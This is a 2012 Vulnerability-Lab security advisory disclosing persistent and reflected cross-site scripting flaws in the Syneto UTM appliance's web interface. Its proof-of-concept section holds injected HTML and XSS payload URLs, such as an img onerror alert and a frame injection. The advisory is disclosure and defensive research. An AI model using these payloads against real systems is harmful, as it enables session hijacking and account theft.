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Syneto UTM WAF v1.4.2 - Multiple Web Vulnerabilities
From: "research () vulnerability-lab com" <research () vulnerability-lab com>
Date: Fri, 20 Jan 2012 12:12:41 +0100

Title:
======
Syneto UTM WAF v1.4.2 - Multiple Web Vulnerabilities


Date:
=====
2012-01-20


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=373


VL-ID:
=====
373


Introduction:
=============
The Syneto UTM (Unified Threat Management) is a security appliance that performs multiple functions and delivers 
maximum protection against internet threats. It s a single device that has it all: firewall, gateway antivirus 
and anti-spam, VPN, content filter, multiple gateways and on-appliance reporting. Syneto UTM was specifically 
designed to easily be deployed and managed, supply top protection and save you money.

(Copy of the Vendor Homepage: http://syneto.net/en/network-security/utm)


Abstract:
=========
A Vulnerability-Lab researcher discovered multiple web vulnerabilities on Synetos Security UTM Application v1.4.x & 
v1.3.3 CE.


Report-Timeline:
================
2011-10-07:     Vendor Notification
2012-**-**:     Vendor Response/Feedback
2012-**-**:     Vendor Fix/Patch 
2012-01-20:     Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
Multiple persistent web vulnerabilities are detected on the Syneto Unified Threat Management Security Appliance 
Application.
The vulnerability allows an privileged user account to inject malicious persistent script code on application 
side(server).
Successful exploitation of the vulnerability can result in account steal, persistent session hijacking via script code 
inject, 
persistent external redirects, persistent context manipulation on requests & persistent phishing.

Vulnerable Module(s):
                                [+] Reports => Executive Summery => Name Input Fields & Output Listing Category
                                [+] EMail => Filter Add or Configure Edit
                                [+] EMail => Add Blacklist Rule & Add Whitelist Rule
                                [+] EMail Settings - New Domain

Picture(s):
                                ../1.png
                                ../2.png

1.2
Multiple non-persistent cross site scripting vulnerabilities are detected on the Syneto Unified Threat Management 
Security 
Appliance Application. The vulnerability allows remote attacker to hijack customer/admin sessions via client side cross 
site 
scripting requests. Successful exploitation requires user inter action & results in account steal via session hijacking.

Vulnerable Module(s):
                                                [+] Index - Exception Handling via Errors
                                                [+] Index - Info Requests


Affected Version(s):
                                                [+] Synetos Security UTM Application v1.4.x & v1.3.3 Community Edition


Proof of Concept:
=================
The vulnerabilities can be exploited by privileged user accounts, lowviewers or remote attackers with required user 
inter action.
For demonstration or reproduce ...

1.1.1

[+] Reports - Executive Summery - Output Listing Category

<tr id="list_1" class="tableRowEven">
<td class="status" valign="top" align="center">
<a href="#" title="Disable the reporting list" class="disableList"><img src="img/enabled.gif" 
title="disable" alt="disable" class="disable"></a>
<a style="display: none;" href="#" title="Enable the reporting list" class="enableList">
<img src="img/disabled.gif" title="enable" alt="enable" class="enable"></a>
                                </td>
<td valign="top"> "><EXECUTION OF PERSISTENT SCRIPT CODE!>' <<="" td="">
<td valign="top" nowrap="nowrap">
<a href="#" id="list_1" class="editList"><img src="img/edit.gif" title="Edit" alt="Edit"
 /></a>
<a href="syneto.php?menuid=307&action=delete&id=1" class="deleteList"><
;img src="img/delete.gif" title="Delete" alt="Delete" /></a>
</td>
</tr>
</tbody>
        </table>
        </div>


Reference(s):
https://[SYNETO UTM SERVER].com/syneto.php?menuid=307



1.1.2
[+] EMail - Filter Add & Configure

<div>Sender = >"<EXECUTION OF PERSISTENT SCRIPT CODE!">.*</div>                                                         
                                        <div>Receiver = .*</div>
<div>Subject = .*(SPAM|VIAGRA).*</div>
                                                
Reference(s):
https://[SYNETO UTM SERVER].com/syneto.php?menuid=63



1.1.3
[+] EMail Settings - New Domain

">
<table class="data" id="smtpDomainsList">
        <thead>
                <tr>
                        <th class="status">Status</th>
                        <th class="domain">Domain</th>
                        <th class="routing">Routing</th>
                        <th class="verify_sender">Verify sender</th>
                        <th class="qdm">Send digest</th>
                        <th class="actions">Actions</th>
                </tr>
        </thead>
        <tbody>

<tr id="domain_3" class="tableRowEven editableDomain "><EXECUTION OF PERSISTENT SCRIPt CODE!><td class="status">
<input name="active" value="1" type="hidden">
<input name="qdm_enabled" value="" type="hidden">
<input name="qdm_hours" value="23" type="hidden">
<input name="admin_email" value=""><script>EXECUTION OF PERSISTENT SCRIPt CODE!</script>" type="hidden">
<input name="verify_peer" value="" type="hidden">
<input name="prefix_digest_links" value="" type="hidden"><EXECUTION OF PERSISTENT SCRIPT CODE!>" />

<input name="verify_sender" value="" type="hidden">
<input name="verify_sender_network_name" value="" type="hidden"><input name="qdm_exceptions" value="" type="hidden">
<input name="whitelist" value="" type="hidden">
<input name="blacklist" value="" type="hidden"><img class="clickable tooltip" title="" src="img/enabled.gif">
</td>
<td class="domain">"><script>alert(vulnerabilitylab)</script></td>


Reference(s):
https://[SYNETO UTM SERVER].com/syneto.php?menuid=60



1.2

PoC:
https://[SYNETO UTM SERVER].com/index.php?error=need_login"'><frame 
src=http://www.vulnerability-lab.com><hr>&from_menu=238
https://[SYNETO UTM 
SERVER].com/index.php?info=%3Cimg%20src=%22%3Cimg%20src=search%22/onerror=alert(%22vulnerabilitylab%22)//%22%3E


Reference(s):
https://[SYNETO UTM SERVER].com/index.php?error=need_login"'>EXECUTION OF PERSISTENT SCRIPT CODE!<hr>&from_menu=238
https://[SYNETO UTM SERVER].com/index.php?info=<EXECUTION OF PERSISTENT SCRIPT CODE!>%20%3E




PoC Reference(s):
                                ../Noname    Syneto UTM.html
                                ../syneto.php.htm
                                ../syneto.php2.htm
                                ../syneto.php3.htm
                                ../syneto.php4.htm


Risk:
=====
1.1
The security risk of the persistent web vulnerabilities are estimated as high(-).

1.2
The security risk of the non-persistent cross site scripting vulnerabilities are estimated as low(+).


Credits:
========
Vulnerability Research Laboratory - Alexander Fuchs (F0x23) ;  Ucha G. (logrifle0x)  & Benjamin Kunz Mejri (Rem0ve)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from 
Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, 
including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                                                Copyright © 2012|Vulnerability-Lab




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